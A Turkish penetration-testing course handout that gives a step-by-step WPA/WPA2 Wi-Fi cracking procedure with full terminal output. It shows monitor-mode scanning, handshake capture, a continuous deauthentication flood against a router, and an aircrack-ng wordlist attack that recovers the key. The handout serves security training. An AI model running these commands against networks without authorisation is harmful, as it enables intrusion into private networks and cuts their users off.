



# Certified Penetration Testing Engineer (CPTE) Eđitimi

KABLOSUZ AG SALDIRILARI

## -WPA / WPA2 ŞİFRELI AĞLARA SALDIRI

WPA/WPA2 şifreli ağlar wep şifreli ağlara göre daha güvenlidir, nedeni ise brute force ve wordlist yöntemine dayanmasıdır, kullanılması önerilen şifreleme türü WPA2-PSK'dır.

Öncelik olarak <airmon-ng> komutu ile kablosuz Ağ interfacesi öğrenilir.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
root@Hackings:~# airmon-ng  
  
Interface      Chipset      Driver  
wlan0          Ralink RT2870/3070      rt2800usb - [phy0]  
root@Hackings:~#
```

<airmon-ng start wlan0> komutu ile kablosuz Ağ kartı aktif edilir.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
root@Hackings:~# airmon-ng start wlan0  
  
Found 3 processes that could cause trouble.  
If airodump-ng, aireplay-ng or airtun-ng stops working after  
a short period of time, you may want to kill (some of) them!  
-e  
PID      Name  
2792     dhclient  
2912     NetworkManager  
4052     wpa_supplicant  
  
Interface      Chipset      Driver  
wlan0          Ralink RT2870/3070      rt2800usb - [phy0]  
                                (monitor mode enabled on mon0)  
root@Hackings:~#
```

<airodump-ng mono> komutu ile çevredeki kablosuz ağlar hakkında gerekli bilgilerin alınması için tarama işlemi başlatılır.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
root@Hackings:~# airodump-ng mon0  
CH 10 ][ Elapsed: 16 s ][ 2016-07-08 04:14  
  
BSSID PwR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  
A0:E4:CB:CD:C9:9D -1 0 6 0 6 -1 WPA <length: 0>  
00:1C:A8:DC:2D:5F -36 2 0 0 6 54 WPA2 CCMP PSK Test  
08:41:FC:0E:22:EE -74 3 0 0 1 54e WPA2 CCMP PSK TTNET_AirTies_Air5650_IUR4  
EC:08:6B:98:BE:AB -75 5 0 0 1 54e WPA2 CCMP PSK TTNET_TP-LINK_BEAB  
5C:F4:AB:4A:51:4A -78 5 0 0 4 54e WPA2 CCMP PSK TTNET_ZyXEL_KFN4  
F8:1A:67:FA:E8:03 -76 6 0 0 8 54e WPA2 CCMP PSK TTNET_TPLINK_E803  
root@Hackings:~#
```

Görüldüğü gibi çevredeki bazı kablosuz ağlar ve hakkındaki bilgiler çıktı, BSSID, CH, ENC, ESSID. Şimdi handshake toplama işlemi başlatılması gerekir. Bunun için öncelik olarak, hedef router'ın mac adresi olan "BSSID" numarası alınır, ardından ise "CH" yani kanal numarası alınır. "airodump-ng -w /root/Desktop/isim.cap <.cap dosyasının kayıt edileceği path> --encrypter <şifreleme algoritması> -c <kanal numarası> --bssid <hedef router mac adresi> mono <aktif edilen ağ kartı>" son olarak "WPA Handshake" yazısı görüntülediği zaman paket toplama işlemi gerçekleşmiş ve parola kırma saldırısı başlatılabilir demektir.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
root@Hackings:~# airodump-ng -w /root/Desktop/wifi/wpa2hack --encrypt wpa2 -c 6 --bssid 00:1C:A8:DC:2D:5F mon0  
  
CH 6 ][ Elapsed: 49 mins ][ 2016-07-08 03:55 ][ WPA handshake: 00:1C:A8:DC:2D:5F  
  
BSSID PwR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  
00:1C:A8:DC:2D:5F -38 100 10234 6230 0 6 54 WPA2 CCMP PSK Test  
  
BSSID STATION PwR Rate Lost Frames Probe  
00:1C:A8:DC:2D:5F 3C:77:E6:9E:F3:6D -20 54 -54 0 6903 Test  
root@Hackings:~#
```

Fakat paket gelmeme durumlarında "aireplay-ng -o <kaç adet broadcast paketi gönderileceği belirtilir>" o yapılır ise sonsuz döngüye girer "-a <hedef routerın MAC adresi>", "mono <wireless interface>" şeklinde de aut paketleri gönderilir.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
root@Hackings:~# aireplay-ng -0 0 -a 00:1C:A8:DC:2D:5F mon0  
04:22:40 Waiting for beacon frame (BSSID: 00:1C:A8:DC:2D:5F) on channel 6  
NB: this attack is more effective when targeting  
a connected wireless client (-c <client's mac>).  
04:22:40 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:40 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:41 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:42 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:42 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:43 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:43 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:44 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:44 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:45 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:45 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]  
04:22:46 Sending DeAuth to broadcast -- BSSID: [00:1C:A8:DC:2D:5F]
```

Son olarak yakalanmış olan handshake dosyasına bruteforce saldırısı yapılır. “aircrack-ng -w <wordlist dosyasının bulunduğu yer>”, “<.CAP dosyasının bulunduğu path.>” şeklinde parola kırma saldırı başlatılır. Wordlist üzerinden deneme yanılma yöntemi ile parolayı doğrulanır ve “KEY FOUND!” kısmında gözükmektedir.

```
root@Hackings: ~  
File Edit View Search Terminal Help  
root@Hackings:~# aircrack-ng -w /usr/share/wordlists/rockyou.txt /root/Desktop/wifi/wpa2hack-01.cap  
Opening /root/Desktop/wifi/wpa2hack-01.cap  
Read 132939 packets.  
  
# BSSID ESSID Encryption  
1 00:1C:A8:DC:2D:5F Test WPA (1 handshake)  
  
Choosing first network as target.  
Opening /root/Desktop/wifi/wpa2hack-01.cap  
Reading packets, please wait...  
  
Aircrack-ng 1.2 rc1  
  
[00:00:02] 2356 keys tested (921.26 k/s)  
  
KEY FOUND! [ football2 ]  
  
Master Key : C3 01 66 71 F4 BA 65 4F B7 B9 99 10 DA A0 20 6E  
3B C9 27 19 58 23 35 EA 94 B8 92 FA C4 76 CA BA  
  
Transient Key : B8 D6 32 DC C6 10 F7 B5 00 C2 7A 6A F0 19 97 25  
39 96 AF 0A D8 8F 82 CD 87 57 85 7D 06 5F D8 AB  
F1 9B 9A 61 6F 44 63 2F 8B C2 A2 7E FB 96 14 A7  
58 B8 7C 40 87 FA DE 43 04 AB D8 08 F0 D4 C6 FD  
  
EAPOL HMAC : 89 E8 A5 AB 4B CE 1B 9A C8 44 08 49 7B E1 8E 3D  
root@Hackings:~#
```